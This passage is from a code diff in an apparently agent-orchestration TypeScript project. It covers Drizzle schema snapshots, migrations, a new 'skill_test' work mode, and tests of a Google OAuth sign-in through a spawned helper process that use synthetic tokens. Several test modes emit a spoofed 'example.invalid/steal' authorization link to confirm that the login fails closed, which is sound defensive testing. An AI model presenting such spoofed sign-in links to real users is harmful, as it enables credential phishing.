"where": "\"heartbeat_runs\".\"runtime_mode\" = 'native' AND \"heartbeat_runs\".\"status\" = 'cancelled'\n AND \"heartbeat_runs\".\"runner_profile_json\"->'nativeWorkspaceSync'->>'state' = 'prepared'\n AND \"heartbeat_runs\".\"result_json\"->'nativeCancellation'->>'dispatchState' = 'acknowledged'\n AND (\"heartbeat_runs\".\"result_json\"->'workspaceRestoreRecovery'->>'schema' = 'paperclip.workspace-restore-recovery.v1'\n AND \"heartbeat_runs\".\"result_json\"->>'workspaceRestoreFailure' IN ('restore_permission_denied', 'restore_lock_timeout', 'restore_unsafe_archive', 'restore_invalid_metadata', 'restore_failed')) IS NOT TRUE",
|
||||
"concurrently": false,
|
||||
"method": "btree",
|
||||
"with": {}
|
||||
@@ -36503,6 +36849,40 @@
|
||||
"method": "btree",
|
||||
"with": {}
|
||||
},
|
||||
"issue_comments_review_response_receipt_idx": {
|
||||
"name": "issue_comments_review_response_receipt_idx",
|
||||
"columns": [
|
||||
{
|
||||
"expression": "created_by_run_id",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
||||
},
|
||||
{
|
||||
"expression": "company_id",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
||||
},
|
||||
{
|
||||
"expression": "issue_id",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
||||
},
|
||||
{
|
||||
"expression": "author_agent_id",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
||||
}
|
||||
],
|
||||
"isUnique": false,
|
||||
"where": "\"issue_comments\".\"author_type\" = 'agent' AND \"issue_comments\".\"metadata\"->>'authorizationReason' = 'allow_chat_run_presentation'",
|
||||
"concurrently": false,
|
||||
"method": "btree",
|
||||
"with": {}
|
||||
},
|
||||
"issue_comments_company_idx": {
|
||||
"name": "issue_comments_company_idx",
|
||||
"columns": [
|
||||
@@ -51194,6 +51574,195 @@
|
||||
"checkConstraints": {},
|
||||
"isRLSEnabled": false
|
||||
},
|
||||
"public.sandbox_creation_operations": {
|
||||
"name": "sandbox_creation_operations",
|
||||
"schema": "",
|
||||
"columns": {
|
||||
"id": {
|
||||
"name": "id",
|
||||
"type": "uuid",
|
||||
"primaryKey": true,
|
||||
"notNull": true
|
||||
},
|
||||
"company_id": {
|
||||
"name": "company_id",
|
||||
"type": "uuid",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
},
|
||||
"environment_id": {
|
||||
"name": "environment_id",
|
||||
"type": "uuid",
|
||||
"primaryKey": false,
|
||||
"notNull": false
|
||||
},
|
||||
"original_environment_id": {
|
||||
"name": "original_environment_id",
|
||||
"type": "uuid",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
},
|
||||
"run_id": {
|
||||
"name": "run_id",
|
||||
"type": "uuid",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
},
|
||||
"request_key": {
|
||||
"name": "request_key",
|
||||
"type": "text",
|
||||
"primaryKey": false,
|
||||
"notNull": true,
|
||||
"default": "'run'"
|
||||
},
|
||||
"issue_id": {
|
||||
"name": "issue_id",
|
||||
"type": "uuid",
|
||||
"primaryKey": false,
|
||||
"notNull": false
|
||||
},
|
||||
"execution_workspace_id": {
|
||||
"name": "execution_workspace_id",
|
||||
"type": "uuid",
|
||||
"primaryKey": false,
|
||||
"notNull": false
|
||||
},
|
||||
"provider": {
|
||||
"name": "provider",
|
||||
"type": "text",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
},
|
||||
"plugin_id": {
|
||||
"name": "plugin_id",
|
||||
"type": "uuid",
|
||||
"primaryKey": false,
|
||||
"notNull": false
|
||||
},
|
||||
"driver_key": {
|
||||
"name": "driver_key",
|
||||
"type": "text",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
},
|
||||
"state": {
|
||||
"name": "state",
|
||||
"type": "text",
|
||||
"primaryKey": false,
|
||||
"notNull": true,
|
||||
"default": "'pending'"
|
||||
},
|
||||
"config": {
|
||||
"name": "config",
|
||||
"type": "jsonb",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
},
|
||||
"metadata": {
|
||||
"name": "metadata",
|
||||
"type": "jsonb",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
},
|
||||
"lease_id": {
|
||||
"name": "lease_id",
|
||||
"type": "uuid",
|
||||
"primaryKey": false,
|
||||
"notNull": false
|
||||
},
|
||||
"next_attempt_at": {
|
||||
"name": "next_attempt_at",
|
||||
"type": "timestamp with time zone",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
},
|
||||
"created_at": {
|
||||
"name": "created_at",
|
||||
"type": "timestamp with time zone",
|
||||
"primaryKey": false,
|
||||
"notNull": true,
|
||||
"default": "now()"
|
||||
},
|
||||
"updated_at": {
|
||||
"name": "updated_at",
|
||||
"type": "timestamp with time zone",
|
||||
"primaryKey": false,
|
||||
"notNull": true,
|
||||
"default": "now()"
|
||||
}
|
||||
},
|
||||
"indexes": {
|
||||
"sandbox_creation_operations_pending_deadline_idx": {
|
||||
"name": "sandbox_creation_operations_pending_deadline_idx",
|
||||
"columns": [
|
||||
{
|
||||
"expression": "next_attempt_at",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
||||
}
|
||||
],
|
||||
"isUnique": false,
|
||||
"where": "\"sandbox_creation_operations\".\"state\" = 'pending'",
|
||||
"concurrently": false,
|
||||
"method": "btree",
|
||||
"with": {}
|
||||
},
|
||||
"sandbox_creation_operations_owner_idx": {
|
||||
"name": "sandbox_creation_operations_owner_idx",
|
||||
"columns": [
|
||||
{
|
||||
"expression": "company_id",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
||||
},
|
||||
{
|
||||
"expression": "original_environment_id",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
||||
},
|
||||
{
|
||||
"expression": "run_id",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
||||
},
|
||||
{
|
||||
"expression": "request_key",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
||||
}
|
||||
],
|
||||
"isUnique": true,
|
||||
"concurrently": false,
|
||||
"method": "btree",
|
||||
"with": {}
|
||||
}
|
||||
},
|
||||
"foreignKeys": {
|
||||
"sandbox_creation_operations_environment_id_environments_id_fk": {
|
||||
"name": "sandbox_creation_operations_environment_id_environments_id_fk",
|
||||
"tableFrom": "sandbox_creation_operations",
|
||||
"tableTo": "environments",
|
||||
"columnsFrom": [
|
||||
"environment_id"
|
||||
],
|
||||
"columnsTo": [
|
||||
"id"
|
||||
],
|
||||
"onDelete": "set null",
|
||||
"onUpdate": "no action"
|
||||
}
|
||||
},
|
||||
"compositePrimaryKeys": {},
|
||||
"uniqueConstraints": {},
|
||||
"policies": {},
|
||||
"checkConstraints": {},
|
||||
"isRLSEnabled": false
|
||||
},
|
||||
"public.secret_access_events": {
|
||||
"name": "secret_access_events",
|
||||
"schema": "",
|
||||
@@ -52201,6 +52770,12 @@
|
||||
"primaryKey": false,
|
||||
"notNull": false
|
||||
},
|
||||
"next_eval_reason": {
|
||||
"name": "next_eval_reason",
|
||||
"type": "text",
|
||||
"primaryKey": false,
|
||||
"notNull": false
|
||||
},
|
||||
"next_eval_at": {
|
||||
"name": "next_eval_at",
|
||||
"type": "timestamp with time zone",
|
||||
+21
@@ -2906,6 +2906,27 @@
|
||||
"when": 1793320102041,
|
||||
"tag": "0416_salty_domino",
|
||||
"breakpoints": true
|
||||
},
|
||||
{
|
||||
"idx": 417,
|
||||
"version": "7",
|
||||
"when": 1793371684483,
|
||||
"tag": "0417_chunky_red_hulk",
|
||||
"breakpoints": true
|
||||
},
|
||||
{
|
||||
"idx": 418,
|
||||
"version": "7",
|
||||
"when": 1793395364937,
|
||||
"tag": "0418_curved_lady_mastermind",
|
||||
"breakpoints": true
|
||||
},
|
||||
{
|
||||
"idx": 419,
|
||||
"version": "7",
|
||||
"when": 1793402408013,
|
||||
"tag": "0419_moaning_vulture",
|
||||
"breakpoints": true
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -70,6 +70,18 @@ export type CompanySkillVersionFileInventoryEntry = CompanySkillFileInventoryEnt
|
||||
executable?: boolean;
|
||||
};
|
||||
|
||||
export const companySkillMutationReceipts = pgTable("company_skill_mutation_receipts", {
|
||||
companyId: uuid("company_id").notNull().references(() => companies.id, { onDelete: "cascade" }),
|
||||
key: text("key").notNull(),
|
||||
fingerprint: text("fingerprint").notNull(),
|
||||
skillId: uuid("skill_id").notNull(),
|
||||
versionId: uuid("version_id").notNull(),
|
||||
response: jsonb("response").$type<Record<string, unknown>>().notNull(),
|
||||
createdAt: timestamp("created_at", { withTimezone: true }).notNull().defaultNow(),
|
||||
}, table => ({
|
||||
keyIdx: uniqueIndex("company_skill_mutation_receipts_key_idx").on(table.companyId, table.key),
|
||||
}));
|
||||
|
||||
export type SkillPackageStorageReceipt = {
|
||||
durable?: boolean;
|
||||
format: "tar-gzip-v1";
|
||||
|
||||
@@ -39,6 +39,7 @@ export {
|
||||
} from "./execution_workspace_restore_points.js";
|
||||
export { executionWorkspaceRuntimeLeases } from "./execution_workspace_runtime_leases.js";
|
||||
export { environments } from "./environments.js";
|
||||
export { sandboxCreationOperations } from "./sandbox_creation_operations.js";
|
||||
export { environmentLeases } from "./environment_leases.js";
|
||||
export { environmentCustomImageTemplates } from "./environment_custom_image_templates.js";
|
||||
export { environmentCustomImageSetupSessions } from "./environment_custom_image_setup_sessions.js";
|
||||
@@ -193,6 +194,7 @@ export {
|
||||
} from "./tool_access.js";
|
||||
export {
|
||||
companySkills,
|
||||
companySkillMutationReceipts,
|
||||
companySkillVersions, companySkillRepositorySnapshots, skillPackageDeletions,
|
||||
companySkillStars,
|
||||
companySkillComments,
|
||||
|
||||
@@ -0,0 +1,27 @@
|
||||
import { index, jsonb, pgTable, text, timestamp, uuid, uniqueIndex } from "drizzle-orm/pg-core";
|
||||
import { sql } from "drizzle-orm";
|
||||
import { environments } from "./environments.js";
|
||||
|
||||
export const sandboxCreationOperations = pgTable("sandbox_creation_operations", {
|
||||
id: uuid("id").primaryKey(),
|
||||
companyId: uuid("company_id").notNull(),
|
||||
environmentId: uuid("environment_id").references(() => environments.id, { onDelete: "set null" }),
|
||||
originalEnvironmentId: uuid("original_environment_id").notNull(),
|
||||
runId: uuid("run_id").notNull(),
|
||||
requestKey: text("request_key").notNull().default("run"),
|
||||
issueId: uuid("issue_id"),
|
||||
executionWorkspaceId: uuid("execution_workspace_id"),
|
||||
provider: text("provider").notNull(),
|
||||
pluginId: uuid("plugin_id"),
|
||||
driverKey: text("driver_key").notNull(),
|
||||
state: text("state").notNull().default("pending"),
|
||||
config: jsonb("config").$type<Record<string, unknown>>().notNull(),
|
||||
metadata: jsonb("metadata").$type<Record<string, unknown>>().notNull(),
|
||||
leaseId: uuid("lease_id"),
|
||||
nextAttemptAt: timestamp("next_attempt_at", { withTimezone: true }).notNull(),
|
||||
createdAt: timestamp("created_at", { withTimezone: true }).notNull().defaultNow(),
|
||||
updatedAt: timestamp("updated_at", { withTimezone: true }).notNull().defaultNow(),
|
||||
}, table => ({
|
||||
pendingDeadline: index("sandbox_creation_operations_pending_deadline_idx").on(table.nextAttemptAt).where(sql`${table.state} = 'pending'`),
|
||||
owner: uniqueIndex("sandbox_creation_operations_owner_idx").on(table.companyId, table.originalEnvironmentId, table.runId, table.requestKey),
|
||||
}));
|
||||
@@ -56,6 +56,9 @@ export const statusCards = pgTable(
|
||||
lastModel: text("last_model"),
|
||||
generatingIssueId: uuid("generating_issue_id").references(() => issues.id, { onDelete: "set null" }),
|
||||
failureReason: text("failure_reason"),
|
||||
// Internal deadline ownership; null denotes a row written before provenance
|
||||
// was recorded. Membership may be rechecked at startup, retry/policy may not.
|
||||
nextEvalReason: text("next_eval_reason").$type<"membership" | "policy" | "retry" | "refresh">(),
|
||||
nextEvalAt: timestamp("next_eval_at", { withTimezone: true }),
|
||||
archivedAt: timestamp("archived_at", { withTimezone: true }),
|
||||
archivedByUserId: text("archived_by_user_id"),
|
||||
|
||||
@@ -231,6 +231,8 @@ export const connectionGrants = pgTable(
|
||||
appSlug?: string;
|
||||
accessRevision?: string;
|
||||
lastAccessRefreshAt?: string;
|
||||
bindingSync?: { id: string; removeInstallationIds: string[] };
|
||||
continuityRetry?: { at: string; attempts: number; revision: string };
|
||||
lastWebhookAt?: string;
|
||||
webhookHealth?: "pending" | "healthy" | "unhealthy";
|
||||
};
|
||||
|
||||
@@ -567,34 +567,34 @@ describe("NativeExecutionInputV2 planning", () => {
|
||||
});
|
||||
});
|
||||
|
||||
describe("NativeExecutionInputV2 ask mode", () => {
|
||||
it("round-trips ask mode as a default execution without planning context", () => {
|
||||
describe.each(["ask", "skill_test"])("NativeExecutionInputV2 %s mode", (workMode) => {
|
||||
it("round-trips the restricted mode as a default execution without planning context", () => {
|
||||
const parsed = parseNativeExecutionInput({
|
||||
...input,
|
||||
schema: "paperclip.native-execution-input.v2",
|
||||
executionMode: "default",
|
||||
task: { ...input.task, workMode: "ask" },
|
||||
task: { ...input.task, workMode },
|
||||
planningContext: null,
|
||||
});
|
||||
expect(parsed).toMatchObject({
|
||||
schema: "paperclip.native-execution-input.v2",
|
||||
executionMode: "default",
|
||||
task: { workMode: "ask" },
|
||||
task: { workMode },
|
||||
});
|
||||
expect(buildNativeModelEnvelope(parsed)).toMatchObject({
|
||||
schema: "paperclip.native-model-envelope.v2",
|
||||
task: { workMode: "ask" },
|
||||
task: { workMode },
|
||||
executionMode: "default",
|
||||
planningContext: null,
|
||||
});
|
||||
});
|
||||
|
||||
it("rejects plan execution for ask mode", () => {
|
||||
it("rejects plan execution for the restricted mode", () => {
|
||||
expect(() => parseNativeExecutionInput({
|
||||
...input,
|
||||
schema: "paperclip.native-execution-input.v2",
|
||||
executionMode: "plan",
|
||||
task: { ...input.task, workMode: "ask" },
|
||||
task: { ...input.task, workMode },
|
||||
planningContext: {
|
||||
documentId: null,
|
||||
baseRevisionId: null,
|
||||
|
||||
@@ -210,7 +210,7 @@ export interface NativeExecutionInputV2 extends Omit<NativeExecutionInputV1, "sc
|
||||
schema: typeof NATIVE_EXECUTION_INPUT_SCHEMA_V2;
|
||||
executionMode: NativeExecutionMode;
|
||||
task: Omit<NativeExecutionInputV1["task"], "workMode"> & {
|
||||
workMode: "standard" | "planning" | "ask";
|
||||
workMode: "standard" | "planning" | "ask" | "skill_test";
|
||||
};
|
||||
planningContext: NativePlanningContext | null;
|
||||
}
|
||||
@@ -486,8 +486,8 @@ export function parseNativeExecutionInput(value: unknown): NativeExecutionInput
|
||||
const contract = record(completionContract.contract, "input.completionContract.contract");
|
||||
exactKeys(contract, ["revision", "objective", "criteria"], "input.completionContract.contract");
|
||||
|
||||
if (task.workMode !== "standard" && (!isV2 || task.workMode !== "planning" && task.workMode !== "ask")) {
|
||||
throw new NativeExecutionInputError("input.task.workMode must be standard, planning, or ask");
|
||||
if (task.workMode !== "standard" && (!isV2 || task.workMode !== "planning" && task.workMode !== "ask" && task.workMode !== "skill_test")) {
|
||||
throw new NativeExecutionInputError("input.task.workMode must be standard, planning, ask, or skill_test");
|
||||
}
|
||||
const executionMode: NativeExecutionMode = isV2 && input.executionMode === "plan" ? "plan" : "default";
|
||||
if (isV2 && input.executionMode !== "default" && input.executionMode !== "plan") {
|
||||
@@ -871,7 +871,7 @@ export function parseNativeExecutionInput(value: unknown): NativeExecutionInput
|
||||
// Recovery must retain those runs, so derive the same bounded model
|
||||
// prompt from their task fields instead of making them unrecoverable.
|
||||
prompt: text(task.prompt ?? task.description ?? task.title, "input.task.prompt"),
|
||||
workMode: task.workMode as "standard" | "planning" | "ask",
|
||||
workMode: task.workMode as "standard" | "planning" | "ask" | "skill_test",
|
||||
},
|
||||
workspace: {
|
||||
cwd: text(workspace.cwd, "input.workspace.cwd"),
|
||||
|
||||
@@ -143,7 +143,11 @@ export function isSemanticToolOutcomeUnknownError(error: unknown): error is Sema
|
||||
export class NativeSessionCloseUnrecoverableError extends Error {
|
||||
readonly code = "native_session_close_unrecoverable";
|
||||
|
||||
constructor(readonly settlement?: Record<string, unknown>) {
|
||||
constructor(
|
||||
readonly settlement?: Record<string, unknown>,
|
||||
/** Exact durable results exist for every admitted Core tool callback. */
|
||||
readonly semanticToolsSettled = false,
|
||||
) {
|
||||
super(
|
||||
"provider_transport_failed: runner did not durably suspend before checkpoint",
|
||||
);
|
||||
|
||||
@@ -0,0 +1,172 @@
|
||||
import { spawn, type ChildProcess } from "node:child_process";
|
||||
import { EventEmitter } from "node:events";
|
||||
import { mkdir, mkdtemp, readFile, realpath, rm, writeFile } from "node:fs/promises";
|
||||
import { tmpdir } from "node:os";
|
||||
import { join } from "node:path";
|
||||
import { PassThrough, Writable } from "node:stream";
|
||||
import { afterEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const setup = vi.hoisted(() => ({ verify: vi.fn(), spawn: vi.fn(), close: vi.fn(), retire: vi.fn() }));
|
||||
vi.mock("./antigravity-installation.js", () => ({ antigravityNativeDistributionSpec: () => ({ pinned: true }) }));
|
||||
vi.mock("./installation-integrity.js", () => ({ verifyNativeAcpxInstallation: setup.verify }));
|
||||
vi.mock("./antigravity-process.js", async importOriginal => ({
|
||||
...await importOriginal<typeof import("./antigravity-process.js")>(), retireAntigravityProcess: setup.retire,
|
||||
}));
|
||||
import { startAntigravityBrowserLogin } from "./antigravity-auth.js";
|
||||
|
||||
const clientId = "1071006060591-tmhssin2h21lcre235vtolojh4g403ep.apps.googleusercontent.com";
|
||||
const scopes = ["https://www.googleapis.com/auth/cloud-platform", "https://www.googleapis.com/auth/userinfo.email", "https://www.googleapis.com/auth/aicode"];
|
||||
const authorizationUrl = "https://accounts.google.com/o/oauth2/v2/auth?" + new URLSearchParams({ client_id: clientId, response_type: "code",
|
||||
redirect_uri: "http://127.0.0.1:18973/", scope: scopes.join(" "), state: "fixture_state_0123456789", code_challenge: "a".repeat(43),
|
||||
code_challenge_method: "S256", access_type: "offline", prompt: "consent" });
|
||||
const roots: string[] = [];
|
||||
const physicalChildren: ChildProcess[] = [];
|
||||
afterEach(async () => {
|
||||
for (const child of physicalChildren.splice(0)) {
|
||||
if (child.exitCode === null && child.signalCode === null) {
|
||||
try { process.kill(-child.pid!, "SIGKILL"); } catch {}
|
||||
}
|
||||
}
|
||||
vi.unstubAllGlobals(); vi.clearAllMocks();
|
||||
await Promise.all(roots.splice(0).map(root => rm(root, { recursive: true, force: true })));
|
||||
});
|
||||
|
||||
type Mode = "url-first" | "result-first" | "wrong-url" | "duplicate-url" | "unexpected-prompt" | "retirement-failure" | "credential-failure" | "auth-error" | "late-wrong-url" | "late-duplicate-url";
|
||||
async function fixture(mode: Mode) {
|
||||
const home = await realpath(await mkdtemp(join(tmpdir(), "paperclip-antigravity-stream-test-"))); roots.push(home);
|
||||
await mkdir(join(home, "antigravity-acp"), { mode: 0o700 });
|
||||
await writeFile(join(home, "antigravity-acp/acp_token.json"), JSON.stringify({ client_id: clientId, client_secret: "synthetic-client-secret",
|
||||
refresh_token: "synthetic-refresh-token", token_uri: "https://oauth2.googleapis.com/token", scopes }), { mode: 0o600 });
|
||||
const stdout = new PassThrough(), stderr = new PassThrough(), requests: string[] = [];
|
||||
const child = Object.assign(new EventEmitter(), { stdout, stderr, stdin: new Writable({ write(chunk, _encoding, done) {
|
||||
const request = JSON.parse(String(chunk)); requests.push(request.method);
|
||||
queueMicrotask(() => {
|
||||
if (request.method === "initialize") {
|
||||
stdout.write(JSON.stringify({ jsonrpc: "2.0", id: request.id, result: { protocolVersion: 1,
|
||||
agentInfo: { name: "antigravity-acp", version: "1.4.3" }, agentCapabilities: { _meta: { antigravity: { paperclipAdmission: 1 } } },
|
||||
authMethods: [{ id: "oauth-personal" }] } }) + "\n");
|
||||
} else if (request.method === "authenticate") {
|
||||
const url = mode === "wrong-url" || mode === "late-wrong-url" ? "https://example.invalid/synthetic-private-marker" : authorizationUrl;
|
||||
const emitUrl = () => stderr.write("Open the following link to authenticate the ACP server: " + url + "\n");
|
||||
const resultFirst = ["result-first", "late-wrong-url", "late-duplicate-url"].includes(mode);
|
||||
if (!resultFirst) emitUrl();
|
||||
if (mode === "duplicate-url") emitUrl();
|
||||
if (mode === "unexpected-prompt") stdout.write(JSON.stringify({ jsonrpc: "2.0", id: 9, method: "session/prompt", params: {} }) + "\n");
|
||||
stdout.write(JSON.stringify(mode === "auth-error"
|
||||
? { jsonrpc: "2.0", id: request.id, error: { code: -32000, message: "synthetic-private-marker" } }
|
||||
: { jsonrpc: "2.0", id: request.id, result: {} }) + "\n");
|
||||
if (resultFirst) queueMicrotask(() => { emitUrl(); if (mode === "late-duplicate-url") emitUrl(); });
|
||||
} else throw new Error("Unexpected session/model request");
|
||||
});
|
||||
done();
|
||||
} }) });
|
||||
setup.close.mockResolvedValue(undefined);
|
||||
setup.retire.mockImplementation(async (_child, closed: Promise<void>) => {
|
||||
await Promise.resolve(); child.emit("close", 0); await closed;
|
||||
});
|
||||
if (mode === "retirement-failure") setup.retire.mockImplementationOnce(async () => { throw new Error("synthetic-private-marker"); });
|
||||
setup.spawn.mockReturnValue(child);
|
||||
setup.verify.mockResolvedValue({ openCommand: async () => ({ spawn: setup.spawn, close: setup.close }) });
|
||||
const fetch = vi.fn(async (url: string) => {
|
||||
if (mode === "credential-failure") return new Response(null, { status: 401 });
|
||||
if (url === "https://oauth2.googleapis.com/token") return Response.json({ access_token: "synthetic-access-token", token_type: "Bearer" });
|
||||
if (url === "https://www.googleapis.com/oauth2/v3/userinfo") return Response.json({ email: "person@example.test", email_verified: true });
|
||||
throw new Error("Unexpected network request");
|
||||
});
|
||||
vi.stubGlobal("fetch", fetch);
|
||||
return { home, requests, fetch };
|
||||
}
|
||||
|
||||
describe("Antigravity login cross-stream completion", () => {
|
||||
it.each(["url-first", "result-first"] as const)("accepts the same authenticated exchange with %s delivery", async mode => {
|
||||
const { home, requests, fetch } = await fixture(mode);
|
||||
const login = startAntigravityBrowserLogin(home);
|
||||
await vi.waitFor(() => expect(login.outcome).toBeDefined());
|
||||
expect(login.outcome).toBe("success");
|
||||
expect(login.authorizationUrl).toBe(authorizationUrl);
|
||||
expect(requests).toEqual(["initialize", "authenticate"]);
|
||||
expect(setup.retire).toHaveBeenCalledOnce(); expect(setup.close).toHaveBeenCalledOnce();
|
||||
expect(fetch).toHaveBeenCalledTimes(2);
|
||||
await login.abort();
|
||||
});
|
||||
|
||||
it.each(["wrong-url", "duplicate-url", "unexpected-prompt", "retirement-failure", "credential-failure", "auth-error", "late-wrong-url", "late-duplicate-url"] as const)("keeps %s failures closed and private", async mode => {
|
||||
const { home, requests, fetch } = await fixture(mode);
|
||||
const login = startAntigravityBrowserLogin(home);
|
||||
await vi.waitFor(() => expect(login.outcome).toBeDefined());
|
||||
expect(login.outcome).toBe("failure"); expect(login.error).toBe("Google sign-in did not complete. Start sign-in again.");
|
||||
expect(login.error).not.toContain("synthetic-private-marker");
|
||||
await login.abort(); expect(setup.close).toHaveBeenCalledOnce();
|
||||
expect(requests).toEqual(["initialize", "authenticate"]);
|
||||
expect(fetch).toHaveBeenCalledTimes(mode === "credential-failure" ? 1 : 0);
|
||||
if (mode === "wrong-url" || mode === "late-wrong-url") expect(login.authorizationUrl).toBeUndefined();
|
||||
});
|
||||
|
||||
it.each(["valid", "invalid", "duplicate"] as const)("handles a %s URL from a real child after authenticate completion and stdin EOF", async mode => {
|
||||
const home = await realpath(await mkdtemp(join(tmpdir(), "paperclip-antigravity-real-stream-"))); roots.push(home);
|
||||
const peer = join(home, "peer.cjs");
|
||||
await writeFile(peer, `
|
||||
const fs = require('node:fs');
|
||||
const path = require('node:path');
|
||||
const readline = require('node:readline');
|
||||
const home = process.argv[2], mode = process.argv[3], requests = [], events = [];
|
||||
const reader = readline.createInterface({input:process.stdin});
|
||||
reader.on('line', line => {
|
||||
const request = JSON.parse(line); requests.push(request.method);
|
||||
fs.writeFileSync(path.join(home,'requests.json'),JSON.stringify(requests));
|
||||
if(request.method==='initialize') {
|
||||
process.stdout.write(JSON.stringify({jsonrpc:'2.0',id:request.id,result:{protocolVersion:1,
|
||||
agentInfo:{name:'antigravity-acp',version:'1.4.3'},agentCapabilities:{_meta:{antigravity:{paperclipAdmission:1}}},
|
||||
authMethods:[{id:'oauth-personal'}]}})+'\\n');
|
||||
} else if(request.method==='authenticate') {
|
||||
fs.mkdirSync(path.join(home,'antigravity-acp'),{mode:0o700});
|
||||
fs.writeFileSync(path.join(home,'antigravity-acp/acp_token.json'),${JSON.stringify(JSON.stringify({ client_id: clientId,
|
||||
client_secret: "synthetic-client-secret", refresh_token: "synthetic-refresh-token", token_uri: "https://oauth2.googleapis.com/token", scopes }))},{mode:0o600});
|
||||
events.push('authenticate-result');
|
||||
process.stdout.write(JSON.stringify({jsonrpc:'2.0',id:request.id,result:{}})+'\\n');
|
||||
} else throw new Error('Unexpected session/model request');
|
||||
});
|
||||
reader.on('close',()=>{
|
||||
events.push('stdin-eof');
|
||||
const url = mode==='invalid' ? 'https://example.invalid/synthetic-private-marker' : ${JSON.stringify(authorizationUrl)};
|
||||
const message = 'Open the following link to authenticate the ACP server: '+url+'\\n';
|
||||
process.stderr.write(mode==='duplicate' ? message+message : message,()=>{
|
||||
events.push('url-flushed');fs.writeFileSync(path.join(home,'events.json'),JSON.stringify(events));process.exit(0);
|
||||
});
|
||||
});
|
||||
`);
|
||||
setup.spawn.mockImplementation((_args, options) => {
|
||||
const child = spawn(process.execPath, [peer, home, mode], { ...options, detached: true });
|
||||
physicalChildren.push(child); return child;
|
||||
});
|
||||
setup.close.mockResolvedValue(undefined);
|
||||
setup.verify.mockResolvedValue({ openCommand: async () => ({ spawn: setup.spawn, close: setup.close }) });
|
||||
const realProcess = await vi.importActual<typeof import("./antigravity-process.js")>("./antigravity-process.js");
|
||||
setup.retire.mockImplementation(realProcess.retireAntigravityProcess);
|
||||
const fetch = vi.fn(async (url: string) => {
|
||||
if (url === "https://oauth2.googleapis.com/token") return Response.json({ access_token: "synthetic-access-token",
|
||||
refresh_token: "synthetic-rotated-refresh", token_type: "Bearer" });
|
||||
if (url === "https://www.googleapis.com/oauth2/v3/userinfo") return Response.json({ email: "person@example.test", email_verified: true });
|
||||
throw new Error("Unexpected network request");
|
||||
});
|
||||
vi.stubGlobal("fetch", fetch);
|
||||
const login = startAntigravityBrowserLogin(home);
|
||||
await vi.waitFor(() => expect(login.outcome).toBeDefined(), { timeout: 5_000 });
|
||||
expect(login.outcome).toBe(mode === "valid" ? "success" : "failure");
|
||||
expect(JSON.parse(await readFile(join(home, "events.json"), "utf8"))).toEqual(["authenticate-result", "stdin-eof", "url-flushed"]);
|
||||
expect(JSON.parse(await readFile(join(home, "requests.json"), "utf8"))).toEqual(["initialize", "authenticate"]);
|
||||
expect(physicalChildren.at(-1)!.exitCode).toBe(0);
|
||||
expect(setup.retire).toHaveBeenCalledOnce(); expect(setup.close).toHaveBeenCalledOnce();
|
||||
expect(fetch).toHaveBeenCalledTimes(mode === "valid" ? 2 : 0);
|
||||
if (mode === "valid") {
|
||||
expect(login.authorizationUrl).toBe(authorizationUrl);
|
||||
expect(JSON.parse(await readFile(join(home, "antigravity-acp", "acp_token.json"), "utf8")).refresh_token).toBe("synthetic-rotated-refresh");
|
||||
} else {
|
||||
expect(login.error).toBe("Google sign-in did not complete. Start sign-in again.");
|
||||
expect(login.error).not.toContain("synthetic-private-marker");
|
||||
if (mode === "invalid") expect(login.authorizationUrl).toBeUndefined();
|
||||
}
|
||||
await login.abort();
|
||||
expect(setup.close).toHaveBeenCalledOnce();
|
||||
}, 15_000);
|
||||
});
|
||||
@@ -45,9 +45,9 @@ reader.on('line', line => {
|
||||
if(request.method==='initialize') {
|
||||
process.stdout.write(JSON.stringify({jsonrpc:'2.0',id:request.id,result:{protocolVersion:1,agentInfo:{name:'antigravity-acp',version:'1.4.3'},agentCapabilities:{_meta:{antigravity:{paperclipAdmission:1}}},authMethods:[{id:'oauth-personal'}]}})+'\\n');
|
||||
} else if(request.method==='authenticate') {
|
||||
const url = mode==='bad-url' ? 'https://example.invalid/steal' : ${JSON.stringify(authorizationUrl())};
|
||||
const url = mode.startsWith('bad-url') ? 'https://example.invalid/steal' : ${JSON.stringify(authorizationUrl())};
|
||||
const message='Open the following link to authenticate the ACP server: '+url+'\\n';
|
||||
process.stderr.write(message.slice(0,42));process.stderr.write(message.slice(42));
|
||||
if (!mode.endsWith('url-after-result')) {process.stderr.write(message.slice(0,42));process.stderr.write(message.slice(42));}
|
||||
if(mode==='blocked' || mode==='bad-url' || mode==='stubborn' || mode==='retained') return;
|
||||
if(mode==='error') {process.stdout.write(JSON.stringify({jsonrpc:'2.0',id:request.id,error:{code:-32000,message:'do not expose fixture-refresh-token'}})+'\\n');return;}
|
||||
fs.mkdirSync(path.join(home,'antigravity-acp'),{mode:0o700});
|
||||
@@ -55,7 +55,14 @@ reader.on('line', line => {
|
||||
process.stdout.write(JSON.stringify({jsonrpc:'2.0',id:request.id,result:{}})+'\\n');
|
||||
} else {throw new Error('inference/session request forbidden');}
|
||||
});
|
||||
reader.on('close',()=>mode==='stubborn'||mode==='retained'?setInterval(()=>{},1000):process.exit(0));
|
||||
reader.on('close',()=> {
|
||||
if (mode.endsWith('url-after-result')) {
|
||||
const url = mode.startsWith('bad-url') ? 'https://example.invalid/steal' : ${JSON.stringify(authorizationUrl())};
|
||||
// EOF proves the client received the authenticate result before this stderr.
|
||||
